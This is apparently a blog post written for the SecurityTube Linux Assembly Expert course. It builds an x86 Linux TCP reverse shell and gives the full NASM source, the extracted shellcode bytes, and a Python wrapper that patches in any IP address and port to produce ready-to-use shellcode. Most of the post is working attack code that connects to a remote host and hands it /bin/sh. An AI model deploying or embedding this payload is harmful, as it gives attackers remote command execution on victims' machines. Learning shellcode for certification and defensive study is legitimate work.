SLAE- Assignment #2- Reverse Shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
SLAE #1488 Author: Aaron Weathersby Handle: t0b0rx0r github: https://github.com/t0b0rX0r/slae/tree/master/assignment2
The requirements for this exam assignment were to create a TCP REVERSE shell within x86 assembly. Similar to the first assignment’s BIND shell I used the same set of resources on socket creation to complete the assignment.
- A C guide to socket usage within Linux
- Linux MAN guide
- Another C based socket guide but with a handy socket diagram
For this assignment I focused on the client portion of the diagram below.
Utilizing the net.h I found the system calls for calls not needed in a bind shell, Connect and Receive
Just as with the BIND shell I first assigned several constant values
%assign AF_INET 2
%assign SYS_SOCKET 1; sys_socket = 1
%assign SOCK_STREAM 1 ; Connection TCP
%assign SYS_BIND 2; sys_bind = 2
%assign SYS_LISTEN 4; sys_ listen =4
%assign SYS_ACCEPT 5; socket
%assign SYS_CONNECT 3;sys_connect = 3
%assign SYS_RECV 10; sys_recv=10
Socket Connection
Creating an initial socket connection i needed to address the socket system call, specify the AF_INET family (i.e. IPV4) and the communication domain.
xor eax,eax
mov al,0x66 ; syscall - socketcall
mov bl, SYS_SOCKET ; type sys_socket
; socket(domain,type,protocol)
xor edx,edx
push edx ; protocol
push SOCK_STREAM ; type
push AF_INET ; domain 2
mov ecx, esp
int 0x80
mov esi,eax ; save return value
Connect
Next, i needed to call the connect function. Taking the file descriptor (returned as EAX from the socket creation), i needed to specify the port and IP address. Critical to this is specifying the port in hex using big endian notation and the IP address in hex with reverse network notation.
;connect
xor eax,eax
xor ebx,ebx
mov al,0x66 ;102
mov bl, SYS_CONNECT
; connect (sockfd, struct sockaddr * addr, socklen_t addrlen)
; connect (eax [4444,2,127.0.0.1],??)
; build struct sockaddr
push 0xa001a8c0 ;192;0x3132 ;0x3231;' ;1270.0.1
push word 0x5c11; port 4444 DEC -> HEX, little endian
push word AF_INET ;
mov ecx,esp
;build connect
push byte 0x12; ;used to be 0x10 length
push ecx ; point er to sockaddr
mov edi,esi ; copy fd
push esi ; fd
mov ecx,esp ; make pointer to args into ecx
int 0x80
note, within the assembly i specified a default IP (192.168.1.160) and port (4444) which is then replaced with my python wrapper.
Recieve
;recv
;recv(sockfd,outbuf,len,flag)
;recv(3,e??,20,0)
mov al, 102
mov bl,SYS_RECV ; 10
push edx; value can be 0
push 20; malength
push esp ;output location
push esi ; fd
int 0x80
Duplicate File Descriptor
Create the file descriptors bound to STDIN , ERR and OUT
mov ebx,eax ;return value is in eax, is the new FD! ...had to fix this to make it work
xor ecx,ecx
; dup2 (old,new)
; dup2(ebx,ecx++)
builddup:
mov al,0x3f ; dup2 63 system call
int 0x80
inc ecx
cmp cl,0x4
jne builddup
Exec (redirect STDIN to Shell)
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov ecx,edx
mov edx,eax ; 0
mov al, 0xb
int 0x80
Compile the assembly
t0b0rx0r@slae-VirtualBox:~/SLAE/aaron$ ./compile.sh slae-assignment2-reverseshell
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Grab the machine code to put into the python script
t0b0rx0r@slae-VirtualBox:~/SLAE/aaron$ objdump -d ./slae-assignment2-reverseshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x68\xc0\xa8\x01\xa0\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x12\x51\x89\xf7\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x0a\x52\x6a\x14\x54\x56\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xba\x00\x00\x00\x00\xb0\x0b\xcd\x80"
Python Wrapper with machine code inserted.
import sys
import struct
import binascii
#Author: Aaron Weathersby
#SLAE #1488
#Handle: t0b0x0r
#github:https://github.com/t0b0rX0r/slae/upload/master/assignment2
#Assignment #2- Reverse Shell
#created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
def checkport(port):
if len(port) < 10:
#print "Port less than 10"
port='0x' + port[2:].zfill(4)
#print "Padded: "+port
#sys.exit()
elif len(port) < 100:
#print "Port less than 100"
port='0x' + port[2:].zfill(2)
#print "Padded: "+port
#sys.exit()
elif len(port) < 1000:
#print "Port less than 1000"
port='0x' + port[2:].zfill(1)
#print "Padded: "+port
#sys.exit()
return port
def checkip(oct):
#print "Octet: "+str(oct)
#print "Octet Size: "+str(len(oct))
if len(oct) < 4:
#print "Octet less than 3"
oct='0x'+oct[2:].zfill(2)
#print "Padded: "+oct
#sys.exit()
elif len(oct) < 5:
#print "Octet less than 4"
oct='0x' + oct[2:].zfill(1)
#print "Padded: "+oct
#print "Exiting checkIP"
#sys.exit()
return oct
def main():
encoded=""
total = len(sys.argv)
port=""
if total != 3:
print "Usage: python slae_assignment_2.py [IP] [port]"
else:
ip=sys.argv[1]
print "IP Address: " + ip
ipsplit=ip.split('.')
address=""
for oct in (ipsplit):
octet=hex(int(oct))
octet=checkip(octet)
address+="\\x"+octet[2]
address+=octet[3]
print "Octet in Hex: "+octet
print "Address in Hex with Padding: "+address
ipaddress=""
for i in range(-1,-len(address),-2):
#print "Pair: "+address[i]+address[i+1]
temp=str(address[i])+str(address[i+1])
ipaddress+=address[i-1]+address[i]
#print "Address in Reverse" + ipaddress
port = sys.argv[2]
print "Port: "+port
port = hex(int(port))
print "Port in Hex: "+port
#Pad port incase its less than 4 Digits
port=checkport(port)
port_Bendian=port[0]+""+port[1]+port[4]+port[5]+port[2]+port[3]
be1="\\x"+port_Bendian[2]+port_Bendian[3]
be2="\\x"+port_Bendian[4]+port_Bendian[5]
print "Big Endian: "+be1 +be2
shell=("\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x68"+"\x98"+"\x66\x68"+"\x99"+"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x89\xf7\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x0a\x52\x6a\x14\x54\x56\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\x89\xc2\xb0\x0b\xcd\x80")
# \xc0\xa8\x01\xa0
for x in bytearray(shell):
#print "Encoded: "+'\\x%02x'%x#+" X: "+str(x)
#print "\\x99 ="+ str(bytearray("\\x99"))
y='\\x%02x'%x
if y==str(bytearray("\\x99")):
#print "Found Port"
encoded+=be2+be1
elif y==str(bytearray("\\x98")):
#print "Found IP address"
encoded+=address
else:
encoded+='\\x'
encoded+='%02x' % x
print "Paste this into Shellcode.c"
print '"'+encoded+'";'
if __name__== "__main__":
main()
Run the python wrapper
t0b0rx0r@slae-VirtualBox:~/SLAE/aaron$ python python_assignment2.py 192.168.1.160 1234
IP Address: 192.168.1.160
Octet in Hex: 0xc0
Octet in Hex: 0xa8
Octet in Hex: 0x01
Octet in Hex: 0xa0
Address in Hex with Padding: \xc0\xa8\x01\xa0
Port: 1234
Port in Hex: 0x4d2
Big Endian: \xd2\x04
Paste this into Shellcode.c
"\x31\xc0\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x68\xc0\xa8\x01\xa0\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\x6a\x10\x51\x89\xf7\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x0a\x52\x6a\x14\x54\x56\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x04\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\x89\xc2\xb0\x0b\xcd\x80";
Run shellcode and wait for a shell.
Full Source can be found on github page
;Author: Aaron Weathersby
;SLAE #1488
;Handle: t0b0x0r
;github:https://github.com/t0b0rX0r/slae/upload/master/assignment2
;Assignment #2- Reverse Shell
;created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
global _start
section .text
_start :
%assign AF_INET 2
%assign SYS_SOCKET 1; sys_socket = 1
%assign SOCK_STREAM 1 ; Connection TCP
%assign SYS_BIND 2; sys_bind = 2
%assign SYS_LISTEN 4; sys_ listen =4
%assign SYS_ACCEPT 5; socket
%assign SYS_CONNECT 3;sys_connect = 3
%assign SYS_RECV 10; sys_recv=10
xor eax,eax
mov al,0x66 ; syscall - socketcall
mov bl, SYS_SOCKET ; type sys_socket
; socket(domain,type,protocol)
xor edx,edx
push edx ; protocol
push SOCK_STREAM ; type
push AF_INET ; domain 2
mov ecx, esp
int 0x80
mov esi,eax
;connect
xor eax,eax
xor ebx,ebx
mov al,0x66 ;102
mov bl, SYS_CONNECT
; connect (sockfd, struct sockaddr * addr, socklen_t addrlen)
; connect (eax [4444,2,127.0.0.1],??)
; build struct sockaddr
push 0xa001a8c0 ;192;0x3132 ;0x3231;' ;1270.0.1
push word 0x5c11; port 4444 DEC -> HEX, little endian
push word AF_INET ;
mov ecx,esp
;build connect
push byte 0x10 ;address length
push ecx ; point er to sockaddr
mov edi,esi ; copy fd
push esi ; fd
mov ecx,esp ; make pointer to args into ecx
int 0x80
;recv
;recv(sockfd,outbuf,len,flag)
;recv(3,e??,20,0)
mov al, 102
mov bl,SYS_RECV ; 10
push edx; value can be 0
push 20; malength
push esp ;output location
push esi ; fd
int 0x80
mov ebx,eax ;return value is in eax, is the new FD! ...had to fix this to make it work
xor ecx,ecx
; dup2 (old,new)
; dup2(ebx,ecx++)
builddup:
mov al,0x3f ; dup2 63 system call
int 0x80
inc ecx
cmp cl,0x4
jne builddup
; redirect to STDIN
;exec shell
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov ecx,edx
mov edx,eax ; 0
mov al, 0xb
int 0x80